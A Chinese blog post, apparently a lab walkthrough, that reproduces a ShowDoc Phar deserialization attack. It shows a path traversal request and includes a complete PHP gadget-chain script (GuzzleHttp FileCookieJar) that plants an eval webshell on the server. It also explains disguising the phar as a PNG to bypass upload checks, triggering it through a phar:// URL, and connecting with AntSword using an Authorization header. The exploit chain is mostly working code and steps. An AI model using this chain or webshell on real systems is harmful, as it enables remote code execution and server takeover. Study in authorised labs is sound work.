漏洞复现 | Showdoc反序列化

非常简单的一个靶场

靶场地址:https://hack.zkaq.cn/

打开靶场,弹出了这种登录框,这也成为了后面的一个坑点,记住这个登录框。
 

图片


 

图片


看到了注册功能,showdoc有注册功能我们就不用尝试前台SQL注入了,直接注册就行(题目中的SQL注入多少有点滑稽..)。如果平时遇到了showdoc没有注册功能的,师傅们可以用p牛大佬的注入exp
https://github.com/vulhub/vulhub/blob/master/showdoc/3.2.5-sqli/poc.py
接着打靶,登录后台,来到文件库

图片


 

图片


尝试直接读取flag
/server/index.php?s=/../../../../flag.txt
直接爆出了绝对路径

图片


拿我们开始准备生成Phar的脚本,exp.php:

 
  1. <?php

  2. namespace GuzzleHttp\Cookie{

  3.   class SetCookie {

  4.     private static $defaults = [

  5.        'Name' => null,

  6.        'Value' => null,

  7.        'Domain' => null,

  8.        'Path' => '/',

  9.        'Max-Age' => null,

  10.        'Expires' => null,

  11.        'Secure' => false,

  12.        'Discard' => false,

  13.        'HttpOnly' => false

  14.     ];

  15.     function __construct()

  16. {

  17.       $this->data['Expires'] = '<?php @eval($_POST["cmd"]);?>';

  18.       $this->data['Discard'] = 0;

  19.    }  

  20.  }

  21.  class CookieJar{

  22.     private $cookies = [];

  23.     private $strictMode;

  24.     function __construct() {

  25.       $this->cookies[] = new SetCookie();

  26.    }

  27.  }

  28.  class FileCookieJar extends CookieJar {

  29.     private $filename;

  30.     private $storeSessionCookies;

  31.     function __construct() {

  32.        parent::__construct();

  33.        $this->filename = "/var/www/html/server/3.php";

  34.        $this->storeSessionCookies = true;

  35.     }

  36.   }

  37. }

  38. namespace{

  39.   $pop = new \GuzzleHttp\Cookie\FileCookieJar();

  40.   $phar = new \Phar("flag.phar");

  41.   $phar->startBuffering();

  42.   $phar->setStub('GIF89a'."__HALT_COMPILER();");

  43.   $phar->setMetadata($pop);

  44.   $phar->addFromString("test.txt", "test");

  45.   $phar->stopBuffering();

  46. }

本地启动phpstudy,把exp.php在本地环境运行

图片


成功生成flag.php
 

图片


注意:
1.制作phar包时需要修改php.ini文件如下:

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
; http://php.net/phar.require-hash
phar.require_hash = On
phar.cache_list =

图片


然后把flag.phar文件改名为flah.png,会有文件上传检测
上传后,点击查看获取到文件路径

图片

图片


然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../获取到的文件路径
触发phar反序列化

图片


成功触发页面是空白,然后访问我们写入马子的位置

图片


成功写入木马,但是这里有些人可能会连不上木马,像这样爆红

图片


原因就是最开始的访问网页的认证登录框,我们重新开一个浏览器对比一下登录和没有登录区别。
没有登录

图片


登录成功

图片


区别就是登录成功后带上了Authorization,所以我们在蚁剑中添加上这样的请求头,即可成功连接
 

图片


获取flag

免  /   费  /   资  /  料:    zkaq222

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值